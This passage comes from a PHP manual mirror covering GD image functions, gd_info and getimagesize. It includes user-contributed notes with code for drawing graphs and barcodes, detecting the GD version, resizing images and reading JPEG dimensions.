    if ($fn === false) $fn = 'php://output';
    $f = fopen ($fn, "w");
    if (!$f) return false;

    //Image dimensions
    $biWidth = imagesx ($im);
    $biHeight = imagesy ($im);
    $biBPLine = $biWidth * 3;
    $biStride = ($biBPLine + 3) & ~3;
    $biSizeImage = $biStride * $biHeight;
    $bfOffBits = 54;
    $bfSize = $bfOffBits + $biSizeImage;

    //BITMAPFILEHEADER
    fwrite ($f, 'BM', 2);
    fwrite ($f, pack ('VvvV', $bfSize, 0, 0, $bfOffBits));

    //BITMAPINFO (BITMAPINFOHEADER)
    fwrite ($f, pack ('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 24, 0, $biSizeImage, 0, 0, 0, 0));

    $numpad = $biStride - $biBPLine;
    for ($y = $biHeight - 1; $y >= 0; --$y)
    {
        for ($x = 0; $x < $biWidth; ++$x)
        {
            $col = imagecolorat ($im, $x, $y);
            fwrite ($f, pack ('V', $col), 3);
        }
        for ($i = 0; $i < $numpad; ++$i)
            fwrite ($f, pack ('C', 0));
    }
    fclose ($f);
    return true;
}
?>

It works the same way as regular imagejpeg/imagepng do and only supports GD2.0 true colour bitmaps (which is what's required by ExcelWriter).
felipensp at gmail dot com 12-Mar-2006 09:17
Representation decimal of a color in hexadecimal for use on functions of library GD.

<?php

    // Representation hexadecimal
    $var = '#FFFFFF';

    function getRgbFromGd($color_hex) {

        return array_map('hexdec', explode('|', wordwrap(substr($color_hex, 1), 2, '|', 1)));

    }

    print_r(getRgbFromGd($var));

    // Output: Array ( [0] => 255 [1] => 255 [2] => 255 )

?>
peter dot hulstaert at gmail dot com 05-Jan-2006 05:18
While I was searching for a good way to draw a graph, I stumbled on skumar2k15's script.

I have taken the liberty to improve multiple aspects of it.

1. The array can grow and shrink in size, the graph will adjust accordingly.
2. All the values in the array are recalculated so they won't get bigger than the height of the graph.
3. I inserted the possibility to keep a percentage off the height away from the edge.
4. You can adjust the size of the grid.
5. Everything will adjust when you change the height of width.

<?
header("Content-type: image/png");

// Define variables
$Values=array(50,90,30,155,50,40,320,50,40,86,240,128,650,540,320);
$imgWidth=500;
$imgHeight=200;
$grid=25;
$graphspacing=0.05;

//Creation of new array with hight adjusted values
while (list($key, $val) = each($Values))
    {if($val>$max){$max=$val;}}

for ($i=0; $i<count($Values); $i++){
$graphValues[$i] = $Values[$i] * (($imgHeight*(1-$graphspacing))/$max);
}
// Create image and define colors

$image=imagecreate($imgWidth, $imgHeight);
$colorWhite=imagecolorallocate($image, 255, 255, 255);
$colorGrey=imagecolorallocate($image, 192, 192, 192);
$colorBlue=imagecolorallocate($image, 0, 0, 255);

// Create border around image
imageline($image, 0, 0, 0, $imgHeight, $colorGrey);
imageline($image, 0, 0, $imgWidth, 0, $colorGrey);
imageline($image, $imgWidth-1, 0, $imgWidth-1, $imgHeight-1, $colorGrey);
imageline($image, 0, $imgHeight-1, $imgWidth-1, $imgHeight-1, $colorGrey);

// Create grid
for ($i=1; $i<($imgWidth/$grid); $i++)
    {imageline($image, $i*$grid, 0, $i*$grid, $imgHeight, $colorGrey);}
for ($i=1; $i<($imgHeight/$grid); $i++)
    {imageline($image, 0, $i*$grid, $imgWidth, $i*$grid, $colorGrey);}

// Create line graph
if($imgWidth/$grid>count($graphValues)){$space=$grid;}
else{$space = $imgWidth/(count($graphValues)-1);}

for ($i=0; $i<count($graphValues)-1; $i++)
    {imageline($image, $i*$space, ($imgHeight-$graphValues[$i]), ($i+1)*$space, ($imgHeight-$graphValues[$i+1]), $colorBlue);}

// Output graph and clear image from memory
imagepng($image);
imagedestroy($image);
?>
michal-ok at o2 dot pl 18-Oct-2005 02:29
The image sharpen function (by Alex R. Austin) provided below seems to be very resource hungry and I couldn't make it work on two different servers - trying to sharpen a 413 x 413 image I ended up with "Fatal error: Allowed memory size of 8388608 bytes exhausted" or "Internal Server Error" or the script terminated without notice. Because I had no priviliges to change the default memory limit on these servers I started looking for other sharpen functions. I have come across a php Unsharp Mask function which works like a charm on both of the servers I dealt with. It can be found at http://vikjavev.no/hovudsida/umtestside.php.
mslemko 09-Oct-2005 12:09
For fedora core 4 users that find that the gd library isn't installed, you can issue the command (as root)

# yum install php-gd

it should download and install the gd library. You will need to restart apache... phpinfo() should then tell you "GD Support     enabled".
timeshifting at gmail dot com 24-Aug-2005 03:39
To sharpen an image, rather than using the code below that produces a sharpening filter with php, use the built-in GD function "imageconvolution" which is designed for this purpose. Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html
jeff at lushmedia dot com 04-Nov-2003 08:52
I wrote an online overview of the image functions that people might find useful. In addition to a general overview of the various function categories and code samples, I have included many interactive examples of the functions, allowing viewers to experiment with the parameters, and seeing the results in real time. The presentation is located at New York PHP
http://www.nyphp.org/content/presentations/GDintro/
sellout at NoSpAm dot dharmadevil dot com 16-Apr-2003 10:06
A fun little function to output UPC-A 11-digit barcodes.
Thanks to barcodeisland.com for the specs.

<?php

function UPCAbarcode($code) {
  $lw = 2; $hi = 100;
  $Lencode = array('0001101','0011001','0010011','0111101','0100011',
                   '0110001','0101111','0111011','0110111','0001011');
  $Rencode = array('1110010','1100110','1101100','1000010','1011100',
                   '1001110','1010000','1000100','1001000','1110100');
  $ends = '101'; $center = '01010';
  /* UPC-A Must be 11 digits, we compute the checksum. */
  if ( strlen($code) != 11 ) { die("UPC-A Must be 11 digits."); }
  /* Compute the EAN-13 Checksum digit */
  $ncode = '0'.$code;
  $even = 0; $odd = 0;
  for ($x=0;$x<12;$x++) {
    if ($x % 2) { $odd += $ncode[$x]; } else { $even += $ncode[$x]; }
  }
  $code.=(10 - (($odd * 3 + $even) % 10)) % 10;
  /* Create the bar encoding using a binary string */
  $bars=$ends;
  $bars.=$Lencode[$code[0]];
  for($x=1;$x<6;$x++) {
    $bars.=$Lencode[$code[$x]];
  }
  $bars.=$center;
  for($x=6;$x<12;$x++) {
    $bars.=$Rencode[$code[$x]];
  }
  $bars.=$ends;
  /* Generate the Barcode Image */
  $img = ImageCreate($lw*95+30,$hi+30);
  $fg = ImageColorAllocate($img, 0, 0, 0);
  $bg = ImageColorAllocate($img, 255, 255, 255);
  ImageFilledRectangle($img, 0, 0, $lw*95+30, $hi+30, $bg);
  $shift=10;
  for ($x=0;$x<strlen($bars);$x++) {
    if (($x<10) || ($x>=45 && $x<50) || ($x >=85)) { $sh=10; } else { $sh=0; }
    if ($bars[$x] == '1') { $color = $fg; } else { $color = $bg; }
    ImageFilledRectangle($img, ($x*$lw)+15,5,($x+1)*$lw+14,$hi+5+$sh,$color);
  }
  /* Add the Human Readable Label */
  ImageString($img,4,5,$hi-5,$code[0],$fg);
  for ($x=0;$x<5;$x++) {
    ImageString($img,5,$lw*(13+$x*6)+15,$hi+5,$code[$x+1],$fg);
    ImageString($img,5,$lw*(53+$x*6)+15,$hi+5,$code[$x+6],$fg);
  }
  ImageString($img,4,$lw*95+17,$hi-5,$code[11],$fg);
  /* Output the Header and Content. */
  header("Content-Type: image/png");
  ImagePNG($img);
}

UPCAbarcode('12345678901');

?>
Using imagecopymerge to create a translucent watermark
gd_info
GD


Retrieve information about the currently installed GD library

GD and Image Functions
getimagesize
GD and Image Functions
PHP Manual

gd_info

(PHP 4 >= 4.3.0, PHP 5)

gd_info — Retrieve information about the currently installed GD library

Description

array gd_info ( void )

Gets information about the version and capabilities of the installed GD library.

Return Values

Returns an associative array.

Elements of array returned by gd_info()
Attribute | Meaning
GD Version | string value describing the installed libgd version.
Freetype Support | boolean value. TRUE if Freetype Support is installed.
Freetype Linkage | string value describing the way in which Freetype was linked. Expected values are: 'with freetype', 'with TTF library', and 'with unknown library'. This element will only be defined if Freetype Support evaluated to TRUE.
T1Lib Support | boolean value. TRUE if T1Lib support is included.
GIF Read Support | boolean value. TRUE if support for reading GIF images is included.
GIF Create Support | boolean value. TRUE if support for creating GIF images is included.
JPEG Support | boolean value. TRUE if JPEG support is included.
PNG Support | boolean value. TRUE if PNG support is included.
WBMP Support | boolean value. TRUE if WBMP support is included.
XBM Support | boolean value. TRUE if XBM support is included.

Note:

Previous to PHP 5.3.0, the JPEG Support attribute was named JPG Support.

Examples

Example #1 Using gd_info()

<?php
var_dump(gd_info());
?>

The above example will output something similar to:

array(9) {
  ["GD Version"]=>
  string(24) "bundled (2.0 compatible)"
  ["FreeType Support"]=>
  bool(false)
  ["T1Lib Support"]=>
  bool(false)
  ["GIF Read Support"]=>
  bool(true)
  ["GIF Create Support"]=>
  bool(false)
  ["JPEG Support"]=>
  bool(false)
  ["PNG Support"]=>
  bool(true)
  ["WBMP Support"]=>
  bool(true)
  ["XBM Support"]=>
  bool(false)
}

Changelog

Version | Description
5.3.0 | JPG Support attribute renamed to JPEG Support.

See Also

  • imagepng() - Output a PNG image to either the browser or a file
  • imagejpeg() - Output image to browser or file
  • imagegif() - Output image to browser or file
  • imagewbmp() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

baumbach at kabece dot com 03-Nov-2006 08:58
@ thorerik dot lie at gmail dot com

<?
$array=gd_info ();
foreach ($array as $key=>$val) {

  if ($val===true) {
    $val="Enabled";
  }

  if ($val===false) {
    $val="Disabled";
  }

  echo "$key: $val <br />\n";

}
?>

does the same thing (SCNR)
Michael Z 28-Sep-2005 12:40
An easy way to get the numeric value for the GD Version :
$Version = ereg_replace('[[:alpha:][:space:]()]+', '', $GDArray['GD Version']);
Hagan Fox 03-May-2005 04:35
This function safely determines the GD version, even on PHP versions earlier than 4.3 that lack the gd_info() function.  Use it to avoid having your script halt with a fatal error if you try to use a TrueColor function and the GD version isn't 2.0 or later.

You can optionally specify a version, but if you specify version 2 it might be overridden.  Once the version number is determined it's retained to speed future calls.

<?php
/**
* Get which version of GD is installed, if any.
*
* Returns the version (1 or 2) of the GD extension.
*/
function gdVersion($user_ver = 0)
{
    if (! extension_loaded('gd')) { return; }
    static $gd_ver = 0;
    // Just accept the specified setting if it's 1.
    if ($user_ver == 1) { $gd_ver = 1; return 1; }
    // Use the static variable if function was called previously.
    if ($user_ver !=2 && $gd_ver > 0 ) { return $gd_ver; }
    // Use the gd_info() function if possible.
    if (function_exists('gd_info')) {
        $ver_info = gd_info();
        preg_match('/\d/', $ver_info['GD Version'], $match);
        $gd_ver = $match[0];
        return $match[0];
    }
    // If phpinfo() is disabled use a specified / fail-safe choice...
    if (preg_match('/phpinfo/', ini_get('disable_functions'))) {
        if ($user_ver == 2) {
            $gd_ver = 2;
            return 2;
        } else {
            $gd_ver = 1;
            return 1;
        }
    }
    // ...otherwise use phpinfo().
    ob_start();
    phpinfo(8);
    $info = ob_get_contents();
    ob_end_clean();
    $info = stristr($info, 'gd version');
    preg_match('/\d/', $info, $match);
    $gd_ver = $match[0];
    return $match[0];
} // End gdVersion()

// Usage:

if ($gdv = gdVersion()) {
    if ($gdv >=2) {
        echo 'TrueColor functions may be used.';
    } else {
        echo 'GD version is 1.  Avoid the TrueColor functions.';
    }
} else {
    echo "The GD extension isn't loaded.";
}
?>

The function only detects the GD version, but you could determine GD capabilities in a similar manner.
phpnet at furp dot com 08-Dec-2004 10:59
I updated the function below to include the GD Version info and any other string fields. The function only showed the bool values before.

// Retrieve information about the currently installed GD library
function describeGDdyn() {
  echo "\n<ul><li>GD support: ";
  if(function_exists("gd_info")){
   echo "<font color=\"#00ff00\">yes</font>";
   $info = gd_info();
   $keys = array_keys($info);
   for($i=0; $i<count($keys); $i++) {
        if(is_bool($info[$keys[$i]])) echo "</li>\n<li>" . $keys[$i] .": " . yesNo($info[$keys[$i]]);
        else echo "</li>\n<li>" . $keys[$i] .": " . $info[$keys[$i]];
   }
  } else { echo "<font color=\"#ff0000\">no</font>"; }
  echo "</li></ul>";
}

function yesNo($bool){
  if($bool) return "<font color=\"#00ff00\"> yes</font>";
  else return "<font color=\"#ff0000\"> no</font>";
}
yohami dot com - zerodj at hotmail dot com 14-Jan-2004 07:09
A cool resize / cropping script for creating thumbnails using mogrify

IMAGETEST.PHP

<?php

include 'mogrify.php';

// variables from flash (my website uses flash and php)
$picture="sample.jpg";
$fixedwidth=300;
$fixedheight=240;
//

cropimage($picture,$fixedwidth,$fixedheight,$mogrify);

 ?>

MOGRIFY.PHP

<?php
// walking the path
$mogrify="C:/apache/Imagik/mogrify.exe";

// ---------------------------------------- crop function

function cropimage($picture,$fixedwidth,$fixedheight,$mogrify) {

    // GET IMG
    $img = imagecreatefromjpeg($picture);
    $width= imagesx($img);
    $height= imagesy($img);
    // CROP WIDTH
    if($width!=$fixedwidth){
        $ratio =$fixedwidth/$width;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
        // REFRESH
        $img = imagecreatefromjpeg($picture);
        $width= imagesx($img);
        $height= imagesy($img);
    }
    // CROP HEIGHT
    if($height!=$fixedheight){
        $ratio =$fixedheight/$height;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
    }
    //
    ImageDestroy($img);
}

?>

yeah!
johnschaefer at gmx dot de 09-Apr-2003 05:25
this is a replacement for this function.
you can also use this function in php >= 4.3.

the handling is the same as the gd_info function (array gd_info(void))

<?php
$code = 'function gd_info() {
        $array = Array(
                       "GD Version" => "",
                       "FreeType Support" => 0,
                       "FreeType Support" => 0,
                       "FreeType Linkage" => "",
                       "T1Lib Support" => 0,
                       "GIF Read Support" => 0,
                       "GIF Create Support" => 0,
                       "JPG Support" => 0,
                       "PNG Support" => 0,
                       "WBMP Support" => 0,
                       "XBM Support" => 0
                      );
        $gif_support = 0;

        ob_start();
        eval("phpinfo();");
        $info = ob_get_contents();
        ob_end_clean();

        foreach(explode("\n", $info) as $line) {
            if(strpos($line, "GD Version")!==false)
                $array["GD Version"] = trim(str_replace("GD Version", "", strip_tags($line)));
            if(strpos($line, "FreeType Support")!==false)
                $array["FreeType Support"] = trim(str_replace("FreeType Support", "", strip_tags($line)));
            if(strpos($line, "FreeType Linkage")!==false)
                $array["FreeType Linkage"] = trim(str_replace("FreeType Linkage", "", strip_tags($line)));
            if(strpos($line, "T1Lib Support")!==false)
                $array["T1Lib Support"] = trim(str_replace("T1Lib Support", "", strip_tags($line)));
            if(strpos($line, "GIF Read Support")!==false)
                $array["GIF Read Support"] = trim(str_replace("GIF Read Support", "", strip_tags($line)));
            if(strpos($line, "GIF Create Support")!==false)
                $array["GIF Create Support"] = trim(str_replace("GIF Create Support", "", strip_tags($line)));
            if(strpos($line, "GIF Support")!==false)
                $gif_support = trim(str_replace("GIF Support", "", strip_tags($line)));
            if(strpos($line, "JPG Support")!==false)
                $array["JPG Support"] = trim(str_replace("JPG Support", "", strip_tags($line)));
            if(strpos($line, "PNG Support")!==false)
                $array["PNG Support"] = trim(str_replace("PNG Support", "", strip_tags($line)));
            if(strpos($line, "WBMP Support")!==false)
                $array["WBMP Support"] = trim(str_replace("WBMP Support", "", strip_tags($line)));
            if(strpos($line, "XBM Support")!==false)
                $array["XBM Support"] = trim(str_replace("XBM Support", "", strip_tags($line)));
        }

        if($gif_support==="enabled") {
            $array["GIF Read Support"]   = 1;
            $array["GIF Create Support"] = 1;
        }

        if($array["FreeType Support"]==="enabled"){
            $array["FreeType Support"] = 1;    }

        if($array["T1Lib Support"]==="enabled")
            $array["T1Lib Support"] = 1;

        if($array["GIF Read Support"]==="enabled"){
            $array["GIF Read Support"] = 1;    }

        if($array["GIF Create Support"]==="enabled")
            $array["GIF Create Support"] = 1;

        if($array["JPG Support"]==="enabled")
            $array["JPG Support"] = 1;

        if($array["PNG Support"]==="enabled")
            $array["PNG Support"] = 1;

        if($array["WBMP Support"]==="enabled")
            $array["WBMP Support"] = 1;

        if($array["XBM Support"]==="enabled")
            $array["XBM Support"] = 1;

        return $array;
    }';

if(!function_exists("gd_info")) eval($code);
?>
GD and Image Functions
getimagesize
GD and Image Functions


Get the size of an image

gd_info
image_type_to_extension
GD and Image Functions
PHP Manual

getimagesize

(PHP 4, PHP 5)

getimagesize — Get the size of an image

Description

array getimagesize ( string $filename [, array &$imageinfo ] )

The getimagesize() function will determine the size of any given image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML IMG tag and the correspondant HTTP content type.

getimagesize() can also return some more information in imageinfo parameter.

Note: Note that JPC and JP2 are capable of having components with different bit depths. In this case, the value for "bits" is the highest bit depth encountered. Also, JP2 files may contain multiple JPEG 2000 codestreams. In this case, getimagesize() returns the values for the first codestream it encounters in the root of the file.

Note: The information about icons are retrieved from the icon with the highest bitrate.

Parameters

filename

This parameter specifies the file you wish to retrieve information about. It can reference a local file or (configuration permitting) a remote file using one of the supported streams.

imageinfo

This optional parameter allows you to extract some extended information from the image file. Currently, this will return the different JPG APP markers as an associative array. Some programs use these APP markers to embed text information in images. A very common one is to embed » IPTC information in the APP13 marker. You can use the iptcparse() function to parse the binary APP13 marker into something readable.

Return Values

Returns an array with 7 elements.

Index 0 and 1 contains respectively the width and the height of the image.

Note:

Some formats may contain no image or may contain multiple images. In these cases, getimagesize() might not be able to properly determine the image size. getimagesize() will return zero for width and height in these cases.

Index 2 is one of the IMAGETYPE_XXX constants indicating the type of the image.

Index 3 is a text string with the correct height="yyy" width="xxx" string that can be used directly in an IMG tag.

mime is the correspondant MIME type of the image. This information can be used to deliver images with the correct HTTP Content-type header:

Example #1 getimagesize() and MIME types

<?php
$size = getimagesize($filename);
$fp = fopen($filename, "rb");
if ($size && $fp) {
    header("Content-type: {$size['mime']}");
    fpassthru($fp);
    exit;
} else {
    // error
}
?>

channels will be 3 for RGB pictures and 4 for CMYK pictures.

bits is the number of bits for each color.

For some image types, the presence of channels and bits values can be a bit confusing. As an example, GIF always uses 3 channels per pixel, but the number of bits per pixel cannot be calculated for an animated GIF with a global color table.

On failure, FALSE is returned.

Errors/Exceptions

If accessing the filename image is impossible, or if it isn't a valid picture, getimagesize() will generate an error of level E_WARNING. On read error, getimagesize() will generate an error of level E_NOTICE.

Changelog

Version | Description
5.3.0 | Added icon support.
5.2.3 | Read errors generated by this function downgraded to E_NOTICE from E_WARNING.
4.3.2 | Support for JPC, JP2, JPX, JB2, XBM, and WBMP became available.
4.3.2 | JPEG 2000 support was added for the imageinfo parameter.
4.3.0 | bits and channels are present for other image types, too.
4.3.0 | mime was added.
4.3.0 | Support for SWC and IFF was added.
4.2.0 | Support for TIFF was added.
4.0.6 | Support for BMP and PSD was added.
4.0.5 | URL support was added.

Examples

Example #2 getimagesize() example

<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
echo "<img src=\"img/flag.jpg\" $attr alt=\"getimagesize() example\" />";
?>

Example #3 getimagesize (URL)

<?php
$size = getimagesize("http://www.example.com/gifs/logo.gif");

// if the file name has space in it, encode it properly
$size = getimagesize("http://www.example.com/gifs/lo%20go.gif");

?>

Example #4 getimagesize() returning IPTC

<?php
$size = getimagesize("testimg.jpg", $info);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]);
    var_dump($iptc);
}
?>

Notes

Note:

This function does not require the GD image library.

See Also

  • image_type_to_mime_type() - Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • exif_imagetype() - Determine the type of an image
  • exif_read_data() - Reads the EXIF headers from JPEG or TIFF
  • exif_thumbnail() - Retrieve the embedded thumbnail of a TIFF or JPEG image

User Contributed Notes

utilmind 23-Jul-2011 03:17
Here is the function which determines whether the PNG image contains alpha or not:

<?php
function is_alpha_png($fn){
  return (ord(@file_get_contents($fn, NULL, NULL, 25, 1)) == 6);
}
?>

The color type of PNG image is stored at byte offset 25. Possible values of that 25'th byte is:
 * 0 - greyscale
 * 2 - RGB
 * 3 - RGB with palette
 * 4 - greyscale + alpha
 * 6 - RGB + alpha
Steve 17-Apr-2011 03:12
The list of defined IMAGETYPE_ constants is on the manual page for exif_imagetype:

http://www.php.net/manual/en/function.exif-imagetype.php
msfs11 at gmail dot com 06-Apr-2011 04:07
One more reason of "Error: getimagesize(): Read error!" may be an zero file size. Check the file size first with function filesize( $file ).
kumarldh at gmail dot com 14-Mar-2011 01:44
I spent quite a time and realised one needs "allow_url_fopen" turned on to be able to use getimagesize(). Hope this help others.
Jesus Zamora 13-Feb-2011 06:20
Returns a array with 4 elements.
The 0 index is the width of the image in pixels.
The 1 index is the height of the image in pixels.
The 2 index is a flag for the image type:

1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(orden de bytes intel), 8 = TIFF(orden de bytes motorola), 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC, 14 = IFF, 15 = WBMP, 16 = XBM.

The 3 index contains ' height="yyy" width="xxx" '
falkon303 at gmail dot com 09-Feb-2011 10:01
Here's a simple way to resize your images based on a percentage.

<?php

$image_path = "images/your_image.png";

list($width, $height, $type, $attr)= getimagesize($image_path);

//specify what percentage you are resizing to
$percent_resizing = 80;

$new_width = round((($percent_resizing/100)*$width));
$new_height = round((($percent_resizing/100)*$height));

echo '<img src="'.$image_path.'" height="'.$new_height.'" width="'.$new_width.'">';

?>
Urchin 08-Feb-2011 01:00
On a Debian machine I had a lot of Notices in my log because the system did not understand spaces. While the str_replace and rawurlencode options are ok for remote images, for the local system it is of no use.

I used the following:

getimagesize('"'.$location.'"');

so basically I quoted the location (single_quot-dubble_quote-single_quote).
http [://] gecko [dot] ilch [dot]de 16-May-2010 01:39
I wrote this functions to check, if a picture is bigger than a size, we need to define first ( $setting['thumb_breit'] )
if its bigger, we need to create a thumbnail, if not, just use the original-size
note: create_thumb() is a ownmade funktion by ilch.de

<?php

#  first we check, if gd is loaded and supports all needed imagetypes
function gd_get_info() {
    if (extension_loaded('gd') and
        imagetypes() & IMG_PNG and
        imagetypes() & IMG_GIF and
        imagetypes() & IMG_JPG and
        imagetypes() & IMG_WBMP) {

        return true;
    } else {
        return false;
    }
}

/*
This returns the width of a image
What we need to know is that getimagesize() returns an array

key 0 = image-width
key 1 = image-height
key 3 = both sizes as string
*/
function check_thumb_needed($img) {
    $bildsizes = getimagesize($img);
    $bildbreite = $bildsizes[0];

        return $bildbreite;
}

$bildbr = check_thumb_needed($imgdir.$newname);

if ($bildbr !== false && $bildbr > $setting['thumb_breit']) {
        create_thumb($imgdir.$newname, $thumbdir.'thumb_'.$newname, $setting['thumb_breit']);
} else {
        create_thumb($imgdir.$newname, $thumbdir.'thumb_'.$newname, $bildbr);
}
modnyj at gmail dot com 26-Apr-2010 04:34
A simple method to resize a image keeping the constraint proportions:

<?php
// Constraints
$max_width = 100;
$max_height = 100;
list($width, $height) = getimagesize($img_path);
$ratioh = $max_height/$height;
$ratiow = $max_width/$width;
$ratio = min($ratioh, $ratiow);
// New dimensions
$width = intval($ratio*$width);
$height = intval($ratio*$height);
?>
@hill79 18-Feb-2010 07:57
I needed to find image dimensions for use in some dynamic css, since getimagesize() returns width="x" height="y" at index 3 I had to convert that to a valid CSS format.

Thought I'd share the function in case anyone else needs the same.

<?php
function cssifysize($img) {
$dimensions = getimagesize($img);
$dimensions = str_replace("=\"", ":", $dimensions['3']);
$dimensions = str_replace("\"", "px;", $dimensions);
return $dimensions;
}

returns width:x;height:y;
?>

I expect there's a way of making that more efficient
Nikki 26-Jan-2010 03:26
This should be easy, but I've re-solved the problem so many times.  Hopefully this is useful:

<?php
// Usage example to find the proper dimensions to resize an image down to 300x400 pixels maximum:
list($width, $height) = getimagesize($image);
$new_dimensions = resize_dimensions(300,400,$width,$height);

// Calculates restricted dimensions with a maximum of $goal_width by $goal_height
function resize_dimensions($goal_width,$goal_height,$width,$height) {
    $return = array('width' => $width, 'height' => $height);

    // If the ratio > goal ratio and the width > goal width resize down to goal width
    if ($width/$height > $goal_width/$goal_height && $width > $goal_width) {
        $return['width'] = $goal_width;
        $return['height'] = $goal_width/$width * $height;
    }
    // Otherwise, if the height > goal, resize down to goal height
    else if ($height > $goal_height) {
        $return['width'] = $goal_height/$height * $width;
        $return['height'] = $goal_height;
    }

    return $return;
}
?>
spam at enrogue dot com 15-Jan-2010 06:12
IMAGETYPE_* are not linked to and with a few searches (like "IMAGETYPE_") on the PHP search tool don't give me a reasonable result. So far these are the ones I dug out, based on a comment on another function:
- IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_WBMP

I'm sure there are others...
swapnil dot nkene at gmail dot com 03-Dec-2009 02:08
A simplest method to resize a image keeping the constraint proportions.

<?php
list($width, $height, $type, $attr)=getimagesize($imagepath);
$ht=$height;
$wd=$width;
if($width>180){
    $diff = $width-180;
    $percnt_reduced = (($diff/$width)*100);
    $ht = $height-(($percnt_reduced*$height)/100);
    $wd= $width-$diff;
}
if($height>180){
    $diff = $height-180;
    $percnt_reduced = (($diff/$height)*100);
    $wd = $width-(($percnt_reduced*$width)/100);
    $ht= $height-$diff;
}
?>
geoff at spacevs dot com 20-Oct-2009 11:22
This function returns the width and height of a JPEG image from a string, allowing the dimensions of images stored in a database to be retrieved without writing them to the disk first, or using "imagecreatefromstring" which is very slow in comparison.

<?PHP
function getJPEGImageXY($data) {
        $soi = unpack('nmagic/nmarker', $data);
        if ($soi['magic'] != 0xFFD8) return false;
        $marker = $soi['marker'];
        $data   = substr($data, 4);
        $done   = false;

        while(1) {
                if (strlen($data) === 0) return false;
                switch($marker) {
                        case 0xFFC0:
                                $info = unpack('nlength/Cprecision/nY/nX', $data);
                                return array($info['X'], $info['Y']);
                                break;

                        default:
                                $info   = unpack('nlength', $data);
                                $data   = substr($data, $info['length']);
                                $info   = unpack('nmarker', $data);
                                $marker = $info['marker'];
                                $data   = substr($data, 2);
                                break;
                }
        }
}
?>

Doing this 10,000 times takes 0.43 seconds, compared with using imagecreatefromstring/imagesx/imagesy which takes around 1.52 seconds to do the same.

Do not use this instead of getimagesize when dealing with files, getimagesize is much faster coming in at 0.15 seconds.
mycrazydream 24-Jul-2009 09:00
I had for quite some time been using getimagesize() to check for the existence of a remote image. This turned out to take way too long. The following curl solution only checks the http headers so it is much more efficient.

<?php
function checkRemoteFile($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    // don't download content
    curl_setopt($ch, CURLOPT_NOBODY, 1);
    curl_setopt($ch, CURLOPT_FAILONERROR, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if(curl_exec($ch)!==FALSE)
    {
        return true;
    }
    else
    {
        return false;
    }
}

?>
anonymous 15-Jul-2009 01:37
Well there are a lot of image scaling functions here. Here is my take on it.

<?php
function get_scaled_dim_array($img,$max_w = 100, $max_h = NULL){
    if(is_null($max_h)){
        $max_h = $max_w;
    }
    if (file_exists($img)){
        list($img_w,$img_h) = getimagesize($img);
        $f = min($max_w/$img_w, $max_h/$img_h, 1);
        $w = round($f * $img_w);
        $h = round($f * $img_h);
        return array($w,$h);
    }
    return NULL;
}
?>
james dot relyea at zifiniti dot com 07-Feb-2009 08:49
As noted below, getimagesize will download the entire image before it checks for the requested information. This is extremely slow on large images that are accessed remotely. Since the width/height is in the first few bytes of the file, there is no need to download the entire file. I wrote a function to get the size of a JPEG by streaming bytes until the proper data is found to report the width and height:

<?php
// Retrieve JPEG width and height without downloading/reading entire image.
function getjpegsize($img_loc) {
    $handle = fopen($img_loc, "rb") or die("Invalid file stream.");
    $new_block = NULL;
    if(!feof($handle)) {
        $new_block = fread($handle, 32);
        $i = 0;
        if($new_block[$i]=="\xFF" && $new_block[$i+1]=="\xD8" && $new_block[$i+2]=="\xFF" && $new_block[$i+3]=="\xE0") {
            $i += 4;
            if($new_block[$i+2]=="\x4A" && $new_block[$i+3]=="\x46" && $new_block[$i+4]=="\x49" && $new_block[$i+5]=="\x46" && $new_block[$i+6]=="\x00") {
                // Read block size and skip ahead to begin cycling through blocks in search of SOF marker
                $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                $block_size = hexdec($block_size[1]);
                while(!feof($handle)) {
                    $i += $block_size;
                    $new_block .= fread($handle, $block_size);
                    if($new_block[$i]=="\xFF") {
                        // New block detected, check for SOF marker
                        $sof_marker = array("\xC0", "\xC1", "\xC2", "\xC3", "\xC5", "\xC6", "\xC7", "\xC8", "\xC9", "\xCA", "\xCB", "\xCD", "\xCE", "\xCF");
                        if(in_array($new_block[$i+1], $sof_marker)) {
                            // SOF marker detected. Width and height information is contained in bytes 4-7 after this byte.
                            $size_data = $new_block[$i+2] . $new_block[$i+3] . $new_block[$i+4] . $new_block[$i+5] . $new_block[$i+6] . $new_block[$i+7] . $new_block[$i+8];
                            $unpacked = unpack("H*", $size_data);
                            $unpacked = $unpacked[1];
                            $height = hexdec($unpacked[6] . $unpacked[7] . $unpacked[8] . $unpacked[9]);
                            $width = hexdec($unpacked[10] . $unpacked[11] . $unpacked[12] . $unpacked[13]);
                            return array($width, $height);
                        } else {
                            // Skip block marker and read block size
                            $i += 2;
                            $block_size = unpack("H*", $new_block[$i] . $new_block[$i+1]);
                            $block_size = hexdec($block_size[1]);
                        }
                    } else {
                        return FALSE;
                    }
                }
            }
        }
    }
